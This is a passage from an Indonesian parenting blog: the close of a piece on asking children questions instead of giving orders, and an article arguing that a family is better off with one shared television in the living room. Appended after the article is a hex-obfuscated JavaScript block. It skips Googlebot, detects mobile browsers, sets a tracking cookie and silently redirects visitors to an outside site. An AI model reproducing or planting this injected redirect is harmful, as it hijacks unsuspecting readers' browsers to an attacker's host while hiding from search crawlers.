Dengan teknik ini maka orang tua tidak selalu memberi perintah kepada putra-putrinya untuk belajar, namun ia hanya menanyakan tentang bagaimana kondisi nilaianya, pemahaman mereka terhadap materi, atau tentang hal-hal yang menghambat mereka di dalam belajar sehingga belajar anak tidak menjadi tanggung jawab orang tua, tetapi ia menjadi tanggung jawab anak.

Orang tua yang efektif akan sering menggunakan teknik bertanya sebagai ganti perintah. Selamat mencoba!!!!

Mengatur Rumah Tangga : Berapa Jumlah Televisi di Rumah Kita

Berapa jumlah televisi di rumah kita? Pertanyaan ini muncul sebagai respon dari semakin maraknya kecenderungan keluarga yang memiliki lebih dari satu pesawat televisi.
Beberapa ibu yang kebetulan saat ini telah mempunyai televisi lebih dari satu di keluarganya mengatakan bahwa keputusan untuk memiliki lebih dari satu televisi karena beragamnya kesenangan anggota keluarga terhadap acara televisi. Sehingga dengan televisi yang banyak memungkinkan kesukaan anggota keluarga mereka terakomodasi dengan baik.
Jawaban yang hampir senada juga diberikan oleh ayah bahwa beragamnya kesenangan seringkali menimbulkan banyaknya pertentangan anggota keluarga, putra pertama mempunyai kesenangan menonton film karton, putra kedua memiliki kesenangan menonton Dora dan bapak menyukai acara olah raga. Dengan mempunyai lebih dari satu televisi telah meminimalkan terjadinya pertentangan/perselisihan anggota keluarga
Namun, ada keluarga yang menjawab bahwa mereka mempunyai lebih dari satu televisi karena mendapatkan hadiah dari sebuah supermarket yang menawarkan undian-undian berhadiah. Dan kebetulan keluarga mereka mendapatkan hadiah televisi.
Saat dibuka pertanyaan di manakah mereka menempatkan televisi-televisi tambahan tersebut? Jawaban muncul beragam. Ada keluarga yang menempatkan di tingkat 2 rumahnya, sehingga anggota keluarga tidak naik turun. Ada yang di kamar pembantunya karena pembantunya merasa tidak enak jika menonton bersama. Ada pula di kamar masing-masing anak supaya mempermudah mereka untuk menonton tanpa saling menganggu kesukaan masing-masing.
Fenomena semakin banyaknya jumlah pesawat televisi di keluarga memang tidak terlepas dari hal-hal berikut ini;
<ol>
<li>Jumlah stasiun televisi yang semakin banyak dengan menawarkan berbagai acara yang semakin menarik</li>
<li>Semakin terjangkaunya harga pesawat televisi bagi masyarakat, sehingga memiliki lebih dari satu pesawat televisi bukanlah merupakan beban bagi mereka</li>
<li>Kecenderungan masyarakat untuk melakukan jalan cepat di dalam menghindari pertentangan antara anggota keluarga di dalam memilih acara televisi, bapak, ibu, anak atau kakek dan nenek.</li>
<li>Di samping kepentingan yang banyak pada hadirnya televisi yang banyak di keluarga, sebenarnya keputusan untuk menambah jumlah pesawat televisi tersebut bahkan pada setiap kamar di rumah telah menafikan beberapa manfaat yang besar, diantaranya;</li>
<li>Dengan satu televisi yang ditempatkan pada ruang keluarga telah mendorong seluruh anggota keluarga untuk lebih sering berkumpul. Kondisi ini akan lebih mengikatkan hubungan interpersonal mereka</li>
<li>Satu televisi yang dibagi secara bergantian telah memungkinkan setiap anggota keluarga lebih mengenal kesukaan saudara pada jenis acara televisi. Dan ini akan meningkatkan rasa empati dan saling pengertian pada mereka</li>
<li>Pertentangan di dalam memilih acara televisi adalah suatu yang wajar. Justru dengan pertentangan tersebut memberi kesempatan bagi orang tua untuk mengajarkan bagaimana menyelesaikan pertentangan putra-putrinya. Ayah suatu ketika harus mengalah kepada putrinya, sebagaimana putranya suatu hari harus siap mengalah untuk ibunya.</li>
<li>Jika setiap kamar anak mempunyai televisi, kita sulit untuk mengontrol acara yang ditonton oleh anak. Dengan menempatkan pesawat televisi pada ruang keluarga maka kita telah melakukan tindakan preventif terhadap jenis acara yang dikonsumsi putra-putri kita. Sebuah kisah nyata dari sebuah keluarga yang kebetulan mempunyai televisi yang ditempatkan pada kamar putranya. Orang tua keluarga itu sangat kaget ketika mendapati putranya menyukai tayangan smackdown dan mulai mempraktekkan kepada saudaranya dan temannya. Dengan kesukaan putranya tersebut, mereka selalu mengontrol putranya dengan masuk secara tiba-tiba kekamar putra dan memastikan putranya tidak sedang menonton acara tersebut. Pengaruh yang sangat signifikan dari perilaku tersebut adalah putranya merasa mulai tidak dipercayai oleh orang tuanya. Akhirnya anak itu seringkali saat menyampaikan informasi kepada orang lain mengulanginya hanya untuk menyakinkan bahwa dirinya sedang tidak berbohong.</li>
</ol>
Mempunyai pesawat televisi satu, dua, tiga atau lebih adalah pilihan. Tetapi pastikan bahwa pilihan kita bagi putra-putri kita adalah pilihan yang terbaik

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>